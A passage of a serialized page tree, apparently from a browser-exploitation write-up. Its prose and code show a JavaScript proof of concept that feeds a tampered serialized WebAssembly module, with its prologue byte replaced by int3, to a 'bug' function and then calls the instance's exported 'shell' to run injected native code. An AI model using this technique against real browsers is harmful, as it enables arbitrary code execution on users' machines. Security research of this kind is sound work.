style":241},[138827],{"type":29,"value":1734},{"type":24,"tag":147,"props":138829,"children":138830},{"style":247},[138831],{"type":29,"value":14782},{"type":24,"tag":147,"props":138833,"children":138834},{"style":235},[138835],{"type":29,"value":87},{"type":24,"tag":147,"props":138837,"children":138838},{"style":229},[138839],{"type":29,"value":138840},"join",{"type":24,"tag":147,"props":138842,"children":138843},{"style":235},[138844],{"type":29,"value":480},{"type":24,"tag":147,"props":138846,"children":138847},{"style":3534},[138848],{"type":29,"value":138849},"', '",{"type":24,"tag":147,"props":138851,"children":138852},{"style":235},[138853],{"type":29,"value":564},{"type":24,"tag":147,"props":138855,"children":138856},{"style":241},[138857],{"type":29,"value":624},{"type":24,"tag":147,"props":138859,"children":138860},{"style":3534},[138861],{"type":29,"value":138862}," ']'",{"type":24,"tag":147,"props":138864,"children":138865},{"style":235},[138866],{"type":29,"value":1473},{"type":24,"tag":25,"props":138868,"children":138869},{},[138870],{"type":29,"value":138871},"This produces the following output:",{"type":24,"tag":137,"props":138873,"children":138875},{"code":138874},"[147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 85, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93, 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0]\n",[138876],{"type":24,"tag":80,"props":138877,"children":138878},{"__ignoreMap":7},[138879],{"type":29,"value":138874},{"type":24,"tag":25,"props":138881,"children":138882},{},[138883,138885,138891,138893,138899,138901,138907,138908,138914,138916,138921],{"type":29,"value":138884},"The bytes ",{"type":24,"tag":80,"props":138886,"children":138888},{"className":138887},[],[138889],{"type":29,"value":138890},"85, 72, 137, 229, ...",{"type":29,"value":138892}," correspond to the x86-64 function prologue (",{"type":24,"tag":80,"props":138894,"children":138896},{"className":138895},[],[138897],{"type":29,"value":138898},"push rbp; mov rbp, rsp",{"type":29,"value":138900},"). We replace the first byte with ",{"type":24,"tag":80,"props":138902,"children":138904},{"className":138903},[],[138905],{"type":29,"value":138906},"0xcc",{"type":29,"value":22068},{"type":24,"tag":80,"props":138909,"children":138911},{"className":138910},[],[138912],{"type":29,"value":138913},"int3",{"type":29,"value":138915}," opcode), and use this modified buffer as the serialized input to ",{"type":24,"tag":80,"props":138917,"children":138919},{"className":138918},[],[138920],{"type":29,"value":137719},{"type":29,"value":978},{"type":24,"tag":137,"props":138923,"children":138925},{"code":138924,"language":41216,"meta":7,"className":41214,"style":7},"(async () => {\n  const wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  const buffer = new Uint8Array([\n    147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64,\n    0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0,\n    0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 204, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93,\n    195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0,\n  ]);\n  let r = bug(wasm_code, buffer.buffer);\n  result = (await r.next()).value;\n  const wasm_instance = new WebAssembly.Instance(result);\n  const f = wasm_instance.exports.shell;\n  f();\n})();\n",[138926],{"type":24,"tag":80,"props":138927,"children":138928},{"__ignoreMap":7},[138929,138952,138979,139199,139266,139274,139301,139515,139767,140018,140244,140488,140708,140715,140764,140809,140853,140892,140904],{"type":24,"tag":147,"props":138930,"children":138931},{"class":149,"line":150},[138932,138936,138940,138944,138948],{"type":24,"tag":147,"props":138933,"children":138934},{"style":235},[138935],{"type":29,"value":480},{"type":24,"tag":147,"props":138937,"children":138938},{"style":218},[138939],{"type":29,"value":41746},{"type":24,"tag":147,"props":138941,"children":138942},{"style":235},[138943],{"type":29,"value":45292},{"type":24,"tag":147,"props":138945,"children":138946},{"style":218},[138947],{"type":29,"value":20435},{"type":24,"tag":147,"props":138949,"children":138950},{"style":235},[138951],{"type":29,"value":6630},{"type":24,"tag":147,"props":138953,"children":138954},{"class":149,"line":160},[138955,138959,138963,138967,138971,138975],{"type":24,"tag":147,"props":138956,"children":138957},{"style":218},[138958],{"type":29,"value":41789},{"type":24,"tag":147,"props":138960,"children":138961},{"style":247},[138962],{"type":29,"value":138243},{"type":24,"tag":147,"props":138964,"children":138965},{"style":241},[138966],{"type":29,"value":651},{"type":24,"tag":147,"props":138968,"children":138969},{"style":218},[138970],{"type":29,"value":37533},{"type":24,"tag":147,"props":138972,"children":138973},{"style":229},[138974],{"type":29,"value":138256},{"type":24,"tag":147,"props":138976,"children":138977},{"style":235},[138978],{"type":29,"value":138261},{"type":24,"tag":147,"props":138980,"children":138981},{"class":149,"line":169},[138982,138987,138991,138995,138999,139003,139007,139011,139015,139019,139023,139027,139031,139035,139039,139043,139047,139051,139055,139059,139063,139067,139071,139075,139079,139083,139087,139091,139095,139099,139103,139107,139111,139115,139119,139123,139127,139131,139135,139139,139143,139147,139151,139155,139159,139163,139167,139171,139175,139179,139183,139187,139191,139195],{"type":24,"tag":147,"props":138983,"children":138984},{"style":705},[138985],{"type":29,"value":138986},"    0",{"type":24,"tag":147,"props":138988,"children":138989},{"style":235},[138990],{"type":29,"value":546},{"type":24,"tag":147,"props":138992,"children":138993},{"style":705},[138994],{"type":29,"value":138278},{"type":24,"tag":147,"props":138996,"children":138997},{"style":235},[138998],{"type":29,"value":546},{"type":24,"tag":147,"props":139000,"children":139001},{"style":705},[139002],{"type":29,"value":138287},{"type":24,"tag":147,"props":139004,"children":139005},{"style":235},[139006],{"type":29,"value":546},{"type":24,"tag":147,"props":139008,"children":139009},{"style":705},[139010],{"type":29,"value":138296},{"type":24,"tag":147,"props":139012,"children":139013},{"style":235},[139014],{"type":29,"value":546},{"type":24,"tag":147,"props":139016,"children":139017},{"style":705},[139018],{"type":29,"value":1154},{"type":24,"tag":147,"props":139020,"children":139021},{"style":235},[139022],{"type":29,"value":546},{"type":24,"tag":147,"props":139024,"children":139025},{"style":705},[139026],{"type":29,"value":3173},{"type":24,"tag":147,"props":139028,"children":139029},{"style":235},[139030],{"type":29,"value":546},{"type":24,"tag":147,"props":139032,"children":139033},{"style":705},[139034],{"type":29,"value":3173},{"type":24,"tag":147,"props":139036,"children":139037},{"style":235},[139038],{"type":29,"value":546},{"type":24,"tag":147,"props":139040,"children":139041},{"style":705},[139042],{"type":29,"value":3173},{"type":24,"tag":147,"props":139044,"children":139045},{"style":235},[139046],{"type":29,"value":546},{"type":24,"tag":147,"props":139048,"children":139049},{"style":705},[139050],{"type":29,"value":1154},{"type":24,"tag":147,"props":139052,"children":139053},{"style":235},[139054],{"type":29,"value":546},{"type":24,"tag":147,"props":139056,"children":139057},{"style":705},[139058],{"type":29,"value":23134},{"type":24,"tag":147,"props":139060,"children":139061},{"style":235},[139062],{"type":29,"value":546},{"type":24,"tag":147,"props":139064,"children":139065},{"style":705},[139066],{"type":29,"value":1154},{"type":24,"tag":147,"props":139068,"children":139069},{"style":235},[139070],{"type":29,"value":546},{"type":24,"tag":147,"props":139072,"children":139073},{"style":705},[139074],{"type":29,"value":138361},{"type":24,"tag":147,"props":139076,"children":139077},{"style":235},[139078],{"type":29,"value":546},{"type":24,"tag":147,"props":139080,"children":139081},{"style":705},[139082],{"type":29,"value":3173},{"type":24,"tag":147,"props":139084,"children":139085},{"style":235},[139086],{"type":29,"value":546},{"type":24,"tag":147,"props":139088,"children":139089},{"style":705},[139090],{"type":29,"value":3173},{"type":24,"tag":147,"props":139092,"children":139093},{"style":235},[139094],{"type":29,"value":546},{"type":24,"tag":147,"props":139096,"children":139097},{"style":705},[139098],{"type":29,"value":22901},{"type":24,"tag":147,"props":139100,"children":139101},{"style":235},[139102],{"type":29,"value":546},{"type":24,"tag":147,"props":139104,"children":139105},{"style":705},[139106],{"type":29,"value":8753},{"type":24,"tag":147,"props":139108,"children":139109},{"style":235},[139110],{"type":29,"value":546},{"type":24,"tag":147,"props":139112,"children":139113},{"style":705},[139114],{"type":29,"value":1154},{"type":24,"tag":147,"props":139116,"children":139117},{"style":235},[139118],{"type":29,"value":546},{"type":24,"tag":147,"props":139120,"children":139121},{"style":705},[139122],{"type":29,"value":3173},{"type":24,"tag":147,"props":139124,"children":139125},{"style":235},[139126],{"type":29,"value":546},{"type":24,"tag":147,"props":139128,"children":139129},{"style":705},[139130],{"type":29,"value":60260},{"type":24,"tag":147,"props":139132,"children":139133},{"style":235},[139134],{"type":29,"value":546},{"type":24,"tag":147,"props":139136,"children":139137},{"style":705},[139138],{"type":29,"value":61473},{"type":24,"tag":147,"props":139140,"children":139141},{"style":235},[139142],{"type":29,"value":546},{"type":24,"tag":147,"props":139144,"children":139145},{"style":705},[139146],{"type":29,"value":1154},{"type":24,"tag":147,"props":139148,"children":139149},{"style":235},[139150],{"type":29,"value":546},{"type":24,"tag":147,"props":139152,"children":139153},{"style":705},[139154],{"type":29,"value":23715},{"type":24,"tag":147,"props":139156,"children":139157},{"style":235},[139158],{"type":29,"value":546},{"type":24,"tag":147,"props":139160,"children":139161},{"style":705},[139162],{"type":29,"value":138287},{"type":24,"tag":147,"props":139164,"children":139165},{"style":235},[139166],{"type":29,"value":546},{"type":24,"tag":147,"props":139168,"children":139169},{"style":705},[139170],{"type":29,"value":138458},{"type":24,"tag":147,"props":139172,"children":139173},{"style":235},[139174],{"type":29,"value":546},{"type":24,"tag":147,"props":139176,"children":139177},{"style":705},[139178],{"type":29,"value":138467},{"type":24,"tag":147,"props":139180,"children":139181},{"style":235},[139182],{"type":29,"value":546},{"type":24,"tag":147,"props":139184,"children":139185},{"style":705},[139186],{"type":29,"value":138476},{"type":24,"tag":147,"props":139188,"children":139189},{"style":235},[139190],{"type":29,"value":546},{"type":24,"tag":147,"props":139192,"children":139193},{"style":705},[139194],{"type":29,"value":138476},{"type":24,"tag":147,"props":139196,"children":139197},{"style":235},[139198],{"type":29,"value":1549},{"type":24,"tag":147,"props":139200,"children":139201},{"class":149,"line":178},[139202,139206,139210,139214,139218,139222,139226,139230,139234,139238,139242,139246,139250,139254,139258,139262],{"type":24,"tag":147,"props":139203,"children":139204},{"style":705},[139205],{"type":29,"value":138986},{"type":24,"tag":147,"props":139207,"children":139208},{"style":235},[139209],{"type":29,"value":546},{"type":24,"tag":147,"props":139211,"children":139212},{"style":705},[139213],{"type":29,"value":3173},{"type":24,"tag":147,"props":139215,"children":139216},{"style":235},[139217],{"type":29,"value":546},{"type":24,"tag":147,"props":139219,"children":139220},{"style":705},[139221],{"type":29,"value":94836},{"type":24,"tag":147,"props":139223,"children":139224},{"style":235},[139225],{"type":29,"value":546},{"type":24,"tag":147,"props":139227,"children":139228},{"style":705},[139229],{"type":29,"value":23134},{"type":24,"tag":147,"props":139231,"children":139232},{"style":235},[139233],{"type":29,"value":546},{"type":24,"tag":147,"props":139235,"children":139236},{"style":705},[139237],{"type":29,"value":1154},{"type":24,"tag":147,"props":139239,"children":139240},{"style":235},[139241],{"type":29,"value":546},{"type":24,"tag":147,"props":139243,"children":139244},{"style":705},[139245],{"type":29,"value":8753},{"type":24,"tag":147,"props":139247,"children":139248},{"style":235},[139249],{"type":29,"value":546},{"type":24,"tag":147,"props":139251,"children":139252},{"style":705},[139253],{"type":29,"value":3173},{"type":24,"tag":147,"props":139255,"children":139256},{"style":235},[139257],{"type":29,"value":546},{"type":24,"tag":147,"props":139259,"children":139260},{"style":705},[139261],{"type":29,"value":138552},{"type":24,"tag":147,"props":139263,"children":139264},{"style":235},[139265],{"type":29,"value":1549},{"type":24,"tag":147,"props":139267,"children":139268},{"class":149,"line":187},[139269],{"type":24,"tag":147,"props":139270,"children":139271},{"style":235},[139272],{"type":29,"value":139273},"  ]);\n",{"type":24,"tag":147,"props":139275,"children":139276},{"class":149,"line":196},[139277,139281,139285,139289,139293,139297],{"type":24,"tag":147,"props":139278,"children":139279},{"style":218},[139280],{"type":29,"value":41789},{"type":24,"tag":147,"props":139282,"children":139283},{"style":247},[139284],{"type":29,"value":1739},{"type":24,"tag":147,"props":139286,"children":139287},{"style":241},[139288],{"type":29,"value":651},{"type":24,"tag":147,"props":139290,"children":139291},{"style":218},[139292],{"type":29,"value":37533},{"type":24,"tag":147,"props":139294,"children":139295},{"style":229},[139296],{"type":29,"value":138256},{"type":24,"tag":147,"props":139298,"children":139299},{"style":235},[139300],{"type":29,"value":138261},{"type":24,"tag":147,"props":139302,"children":139303},{"class":149,"line":205},[139304,139309,139313,139317,139321,139326,139330,139335,139339,139344,139348,139353,139357,139362,139366,139371,139375,139380,139384,139389,139393,139397,139401,139405,139409,139414,139418,139423,139427,139431,139435,139439,139443,139447,139451,139455,139459,139463,139467,139471,139475,139479,139483,139487,139491,139495,139499,139503,139507,139511],{"type":24,"tag":147,"props":139305,"children":139306},{"style":705},[139307],{"type":29,"value":139308},"    147",{"type":24,"tag":147,"props":139310,"children":139311},{"style":235},[139312],{"type":29,"value":546},{"type":24,"tag":147,"props":139314,"children":139315},{"style":705},[139316],{"type":29,"value":24027},{"type":24,"tag":147,"props":139318,"children":139319},{"style":235},[139320],{"type":29,"value":546},{"type":24,"tag":147,"props":139322,"children":139323},{"style":705},[139324],{"type":29,"value":139325},"222",{"type":24,"tag":147,"props":139327,"children":139328},{"style":235},[139329],{"type":29,"value":546},{"type":24,"tag":147,"props":139331,"children":139332},{"style":705},[139333],{"type":29,"value":139334},"192",{"type":24,"tag":147,"props":139336,"children":139337},{"style":235},[139338],{"type":29,"value":546},{"type":24,"tag":147,"props":139340,"children":139341},{"style":705},[139342],{"type":29,"value":139343},"20",{"type":24,"tag":147,"props":139345,"children":139346},{"style":235},[139347],{"type":29,"value":546},{"type":24,"tag":147,"props":139349,"children":139350},{"style":705},[139351],{"type":29,"value":139352},"119",{"type":24,"tag":147,"props":139354,"children":139355},{"style":235},[139356],{"type":29,"value":546},{"type":24,"tag":147,"props":139358,"children":139359},{"style":705},[139360],{"type":29,"value":139361},"44",{"type":24,"tag":147,"props":139363,"children":139364},{"style":235},[139365],{"type":29,"value":546},{"type":24,"tag":147,"props":139367,"children":139368},{"style":705},[139369],{"type":29,"value":139370},"43",{"type":24,"tag":147,"props":139372,"children":139373},{"style":235},[139374],{"type":29,"value":546},{"type":24,"tag":147,"props":139376,"children":139377},{"style":705},[139378],{"type":29,"value":139379},"127",{"type":24,"tag":147,"props":139381,"children":139382},{"style":235},[139383],{"type":29,"value":546},{"type":24,"tag":147,"props":139385,"children":139386},{"style":705},[139387],{"type":29,"value":139388},"62",{"type":24,"tag":147,"props":139390,"children":139391},{"style":235},[139392],{"type":29,"value":546},{"type":24,"tag":147,"props":139394,"children":139395},{"style":705},[139396],{"type":29,"value":22901},{"type":24,"tag":147,"props":139398,"children":139399},{"style":235},[139400],{"type":29,"value":546},{"type":24,"tag":147,"props":139402,"children":139403},{"style":705},[139404],{"type":29,"value":3173},{"type":24,"tag":147,"props":139406,"children":139407},{"style":235},[139408],{"type":29,"value":546},{"type":24,"tag":147,"props":139410,"children":139411},{"style":705},[139412],{"type":29,"value":139413},"159",{"type":24,"tag":147,"props":139415,"children":139416},{"style":235},[139417],{"type":29,"value":546},{"type":24,"tag":147,"props":139419,"children":139420},{"style":705},[139421],{"type":29,"value":139422},"206",{"type":24,"tag":147,"props":139424,"children":139425},{"style":235},[139426],{"type":29,"value":546},{"type":24,"tag":147,"props":139428,"children":139429},{"style":705},[139430],{"type":29,"value":49749},{"type":24,"tag":147,"props":139432,"children":139433},{"style":235},[139434],{"type":29,"value":546},{"type":24,"tag":147,"props":139436,"children":139437},{"style":705},[139438],{"type":29,"value":139370},{"type":24,"tag":147,"props":139440,"children":139441},{"style":235},[139442],{"type":29,"value":546},{"type":24,"tag":147,"props":139444,"children":139445},{"style":705},[139446],{"type":29,"value":3173},{"type":24,"tag":147,"props":139448,"children":139449},{"style":235},[139450],{"type":29,"value":546},{"type":24,"tag":147,"props":139452,"children":139453},{"style":705},[139454],{"type":29,"value":3173},{"type":24,"tag":147,"props":139456,"children":139457},{"style":235},[139458],{"type":29,"value":546},{"type":24,"tag":147,"props":139460,"children":139461},{"style":705},[139462],{"type":29,"value":22901},{"type":24,"tag":147,"props":139464,"children":139465},{"style":235},[139466],{"type":29,"value":546},{"type":24,"tag":147,"props":139468,"children":139469},{"style":705},[139470],{"type":29,"value":3173},{"type":24,"tag":147,"props":139472,"children":139473},{"style":235},[139474],{"type":29,"value":546},{"type":24,"tag":147,"props":139476,"children":139477},{"style":705},[139478],{"type":29,"value":3173},{"type":24,"tag":147,"props":139480,"children":139481},{"style":235},[139482],{"type":29,"value":546},{"type":24,"tag":147,"props":139484,"children":139485},{"style":705},[139486],{"type":29,"value":3173},{"type":24,"tag":147,"props":139488,"children":139489},{"style":235},[139490],{"type":29,"value":546},{"type":24,"tag":147,"props":139492,"children":139493},{"style":705},[139494],{"type":29,"value":3173},{"type":24,"tag":147,"props":139496,"children":139497},{"style":235},[139498],{"type":29,"value":546},{"type":24,"tag":147,"props":139500,"children":139501},{"style":705},[139502],{"type":29,"value":3173},{"type":24,"tag":147,"props":139504,"children":139505},{"style":235},[139506],{"type":29,"value":546},{"type":24,"tag":147,"props":139508,"children":139509},{"style":705},[139510],{"type":29,"value":35024},{"type":24,"tag":147,"props":139512,"children":139513},{"style":235},[139514],{"type":29,"value":1549},{"type":24,"tag":147,"props":139516,"children":139517},{"class":149,"line":214},[139518,139522,139526,139530,139534,139538,139542,139546,139550,139554,139558,139562,139566,139570,139574,139578,139582,139586,139590,139594,139598,139602,139606,139610,139614,139618,139622,139626,139630,139634,139638,139642,139646,139650,139654,139659,139663,139667,139671,139675,139679,139683,139687,139691,139695,139699,139703,139707,139711,139715,139719,139723,139727,139731,139735,139739,139743,139747,139751,139755,139759,139763],{"type":24,"tag":147,"props":139519,"children":139520},{"style":705},[139521],{"type":29,"value":138986},{"type":24,"tag":147,"props":139523,"children":139524},{"style":235},[139525],{"type":29,"value":546},{"type":24,"tag":147,"props":139527,"children":139528},{"style":705},[139529],{"type":29,"value":3173},{"type":24,"tag":147,"props":139531,"children":139532},{"style":235},[139533],{"type":29,"value":546},{"type":24,"tag":147,"props":139535,"children":139536},{"style":705},[139537],{"type":29,"value":3173},{"type":24,"tag":147,"props":139539,"children":139540},{"style":235},[139541],{"type":29,"value":546},{"type":24,"tag":147,"props":139543,"children":139544},{"style":705},[139545],{"type":29,"value":3173},{"type":24,"tag":147,"props":139547,"children":139548},{"style":235},[139549],{"type":29,"value":546},{"type":24,"tag":147,"props":139551,"children":139552},{"style":705},[139553],{"type":29,"value":3173},{"type":24,"tag":147,"props":139555,"children":139556},{"style":235},[139557],{"type":29,"value":546},{"type":24,"tag":147,"props":139559,"children":139560},{"style":705},[139561],{"type":29,"value":3173},{"type":24,"tag":147,"props":139563,"children":139564},{"style":235},[139565],{"type":29,"value":546},{"type":24,"tag":147,"props":139567,"children":139568},{"style":705},[139569],{"type":29,"value":3173},{"type":24,"tag":147,"props":139571,"children":139572},{"style":235},[139573],{"type":29,"value":546},{"type":24,"tag":147,"props":139575,"children":139576},{"style":705},[139577],{"type":29,"value":1154},{"type":24,"tag":147,"props":139579,"children":139580},{"style":235},[139581],{"type":29,"value":546},{"type":24,"tag":147,"props":139583,"children":139584},{"style":705},[139585],{"type":29,"value":3173},{"type":24,"tag":147,"props":139587,"children":139588},{"style":235},[139589],{"type":29,"value":546},{"type":24,"tag":147,"props":139591,"children":139592},{"style":705},[139593],{"type":29,"value":3173},{"type":24,"tag":147,"props":139595,"children":139596},{"style":235},[139597],{"type":29,"value":546},{"type":24,"tag":147,"props":139599,"children":139600},{"style":705},[139601],{"type":29,"value":3173},{"type":24,"tag":147,"props":139603,"children":139604},{"style":235},[139605],{"type":29,"value":546},{"type":24,"tag":147,"props":139607,"children":139608},{"style":705},[139609],{"type":29,"value":3173},{"type":24,"tag":147,"props":139611,"children":139612},{"style":235},[139613],{"type":29,"value":546},{"type":24,"tag":147,"props":139615,"children":139616},{"style":705},[139617],{"type":29,"value":3173},{"type":24,"tag":147,"props":139619,"children":139620},{"style":235},[139621],{"type":29,"value":546},{"type":24,"tag":147,"props":139623,"children":139624},{"style":705},[139625],{"type":29,"value":3173},{"type":24,"tag":147,"props":139627,"children":139628},{"style":235},[139629],{"type":29,"value":546},{"type":24,"tag":147,"props":139631,"children":139632},{"style":705},[139633],{"type":29,"value":3173},{"type":24,"tag":147,"props":139635,"children":139636},{"style":235},[139637],{"type":29,"value":546},{"type":24,"tag":147,"props":139639,"children":139640},{"style":705},[139641],{"type":29,"value":3173},{"type":24,"tag":147,"props":139643,"children":139644},{"style":235},[139645],{"type":29,"value":546},{"type":24,"tag":147,"props":139647,"children":139648},{"style":705},[139649],{"type":29,"value":23134},{"type":24,"tag":147,"props":139651,"children":139652},{"style":235},[139653],{"type":29,"value":546},{"type":24,"tag":147,"props":139655,"children":139656},{"style":705},[139657],{"type":29,"value":139658},"28",{"type":24,"tag":147,"props":139660,"children":139661},{"style":235},[139662],{"type":29,"value":546},{"type":24,"tag":147,"props":139664,"children":139665},{"style":705},[139666],{"type":29,"value":3173},{"type":24,"tag":147,"props":139668,"children":139669},{"style":235},[139670],{"type":29,"value":546},{"type":24,"tag":147,"props":139672,"children":139673},{"style":705},[139674],{"type":29,"value":3173},{"type":24,"tag":147,"props":139676,"children":139677},{"style":235},[139678],{"type":29,"value":546},{"type":24,"tag":147,"props":139680,"children":139681},{"style":705},[139682],{"type":29,"value":3173},{"type":24,"tag":147,"props":139684,"children":139685},{"style":235},[139686],{"type":29,"value":546},{"type":24,"tag":147,"props":139688,"children":139689},{"style":705},[139690],{"type":29,"value":46442},{"type":24,"tag":147,"props":139692,"children":139693},{"style":235},[139694],{"type":29,"value":546},{"type":24,"tag":147,"props":139696,"children":139697},{"style":705},[139698],{"type":29,"value":3173},{"type":24,"tag":147,"props":139700,"children":139701},{"style":235},[139702],{"type":29,"value":546},{"type":24,"tag":147,"props":139704,"children":139705},{"style":705},[139706],{"type":29,"value":3173},{"type":24,"tag":147,"props":139708,"children":139709},{"style":235},[139710],{"type":29,"value":546},{"type":24,"tag":147,"props":139712,"children":139713},{"style":705},[139714],{"type":29,"value":3173},{"type":24,"tag":147,"props":139716,"children":139717},{"style":235},[139718],{"type":29,"value":546},{"type":24,"tag":147,"props":139720,"children":139721},{"style":705},[139722],{"type":29,"value":139658},{"type":24,"tag":147,"props":139724,"children":139725},{"style":235},[139726],{"type":29,"value":546},{"type":24,"tag":147,"props":139728,"children":139729},{"style":705},[139730],{"type":29,"value":3173},{"type":24,"tag":147,"props":139732,"children":139733},{"style":235},[139734],{"type":29,"value":546},{"type":24,"tag":147,"props":139736,"children":139737},{"style":705},[139738],{"type":29,"value":3173},{"type":24,"tag":147,"props":139740,"children":139741},{"style":235},[139742],{"type":29,"value":546},{"type":24,"tag":147,"props":139744,"children":139745},{"style":705},[139746],{"type":29,"value":3173},{"type":24,"tag":147,"props":139748,"children":139749},{"style":235},[139750],{"type":29,"value":546},{"type":24,"tag":147,"props":139752,"children":139753},{"style":705},[139754],{"type":29,"value":139658},{"type":24,"tag":147,"props":139756,"children":139757},{"style":235},[139758],{"type":29,"value":546},{"type":24,"tag":147,"props":139760,"children":139761},{"style":705},[139762],{"type":29,"value":3173},{"type":24,"tag":147,"props":139764,"children":139765},{"style":235},[139766],{"type":29,"value":1549},{"type":24,"tag":147,"props":139768,"children":139769},{"class":149,"line":272},[139770,139774,139778,139782,139786,139790,139794,139798,139802,139806,139810,139814,139818,139822,139826,139830,139834,139838,139842,139846,139850,139854,139858,139862,139866,139870,139874,139878,139882,139886,139890,139894,139898,139902,139906,139910,139914,139918,139922,139926,139930,139934,139938,139942,139946,139950,139954,139958,139962,139966,139970,139974,139978,139982,139986,139990,139994,139998,140002,140006,140010,140014],{"type":24,"tag":147,"props":139771,"children":139772},{"style":705},[139773],{"type":29,"value":138986},{"type":24,"tag":147,"props":139775,"children":139776},{"style":235},[139777],{"type":29,"value":546},{"type":24,"tag":147,"props":139779,"children":139780},{"style":705},[139781],{"type":29,"value":3173},{"type":24,"tag":147,"props":139783,"children":139784},{"style":235},[139785],{"type":29,"value":546},{"type":24,"tag":147,"props":139787,"children":139788},{"style":705},[139789],{"type":29,"value":139658},{"type":24,"tag":147,"props":139791,"children":139792},{"style":235},[139793],{"type":29,"value":546},{"type":24,"tag":147,"props":139795,"children":139796},{"style":705},[139797],{"type":29,"value":3173},{"type":24,"tag":147,"props":139799,"children":139800},{"style":235},[139801],{"type":29,"value":546},{"type":24,"tag":147,"props":139803,"children":139804},{"style":705},[139805],{"type":29,"value":3173},{"type":24,"tag":147,"props":139807,"children":139808},{"style":235},[139809],{"type":29,"value":546},{"type":24,"tag":147,"props":139811,"children":139812},{"style":705},[139813],{"type":29,"value":3173},{"type":24,"tag":147,"props":139815,"children":139816},{"style":235},[139817],{"type":29,"value":546},{"type":24,"tag":147,"props":139819,"children":139820},{"style":705},[139821],{"type":29,"value":23134},{"type":24,"tag":147,"props":139823,"children":139824},{"style":235},[139825],{"type":29,"value":546},{"type":24,"tag":147,"props":139827,"children":139828},{"style":705},[139829],{"type":29,"value":3173},{"type":24,"tag":147,"props":139831,"children":139832},{"style":235},[139833],{"type":29,"value":546},{"type":24,"tag":147,"props":139835,"children":139836},{"style":705},[139837],{"type":29,"value":3173},{"type":24,"tag":147,"props":139839,"children":139840},{"style":235},[139841],{"type":29,"value":546},{"type":24,"tag":147,"props":139843,"children":139844},{"style":705},[139845],{"type":29,"value":3173},{"type":24,"tag":147,"props":139847,"children":139848},{"style":235},[139849],{"type":29,"value":546},{"type":24,"tag":147,"props":139851,"children":139852},{"style":705},[139853],{"type":29,"value":3173},{"type":24,"tag":147,"props":139855,"children":139856},{"style":235},[139857],{"type":29,"value":546},{"type":24,"tag":147,"props":139859,"children":139860},{"style":705},[139861],{"type":29,"value":3173},{"type":24,"tag":147,"props":139863,"children":139864},{"style":235},[139865],{"type":29,"value":546},{"type":24,"tag":147,"props":139867,"children":139868},{"style":705},[139869],{"type":29,"value":3173},{"type":24,"tag":147,"props":139871,"children":139872},{"style":235},[139873],{"type":29,"value":546},{"type":24,"tag":147,"props":139875,"children":139876},{"style":705},[139877],{"type":29,"value":3173},{"type":24,"tag":147,"props":139879,"children":139880},{"style":235},[139881],{"type":29,"value":546},{"type":24,"tag":147,"props":139883,"children":139884},{"style":705},[139885],{"type":29,"value":3173},{"type":24,"tag":147,"props":139887,"children":139888},{"style":235},[139889],{"type":29,"value":546},{"type":24,"tag":147,"props":139891,"children":139892},{"style":705},[139893],{"type":29,"value":3173},{"type":24,"tag":147,"props":139895,"children":139896},{"style":235},[139897],{"type":29,"value":546},{"type":24,"tag":147,"props":139899,"children":139900},{"style":705},[139901],{"type":29,"value":3173},{"type":24,"tag":147,"props":139903,"children":139904},{"style":235},[139905],{"type":29,"value":546},{"type":24,"tag":147,"props":139907,"children":139908},{"style":705},[139909],{"type":29,"value":3173},{"type":24,"tag":147,"props":139911,"children":139912},{"style":235},[139913],{"type":29,"value":546},{"type":24,"tag":147,"props":139915,"children":139916},{"style":705},[139917],{"type":29,"value":35024},{"type":24,"tag":147,"props":139919,"children":139920},{"style":235},[139921],{"type":29,"value":546},{"type":24,"tag":147,"props":139923,"children":139924},{"style":705},[139925],{"type":29,"value":3173},{"type":24,"tag":147,"props":139927,"children":139928},{"style":235},[139929],{"type":29,"value":546},{"type":24,"tag":147,"props":139931,"children":139932},{"style":705},[139933],{"type":29,"value":3173},{"type":24,"tag":147,"props":139935,"children":139936},{"style":235},[139937],{"type":29,"value":546},{"type":24,"tag":147,"props":139939,"children":139940},{"style":705},[139941],{"type":29,"value":3173},{"type":24,"tag":147,"props":139943,"children":139944},{"style":235},[139945],{"type":29,"value":546},{"type":24,"tag":147,"props":139947,"children":139948},{"style":705},[139949],{"type":29,"value":3173},{"type":24,"tag":147,"props":139951,"children":139952},{"style":235},[139953],{"type":29,"value":546},{"type":24,"tag":147,"props":139955,"children":139956},{"style":705},[139957],{"type":29,"value":3173},{"type":24,"tag":147,"props":139959,"children":139960},{"style":235},[139961],{"type":29,"value":546},{"type":24,"tag":147,"props":139963,"children":139964},{"style":705},[139965],{"type":29,"v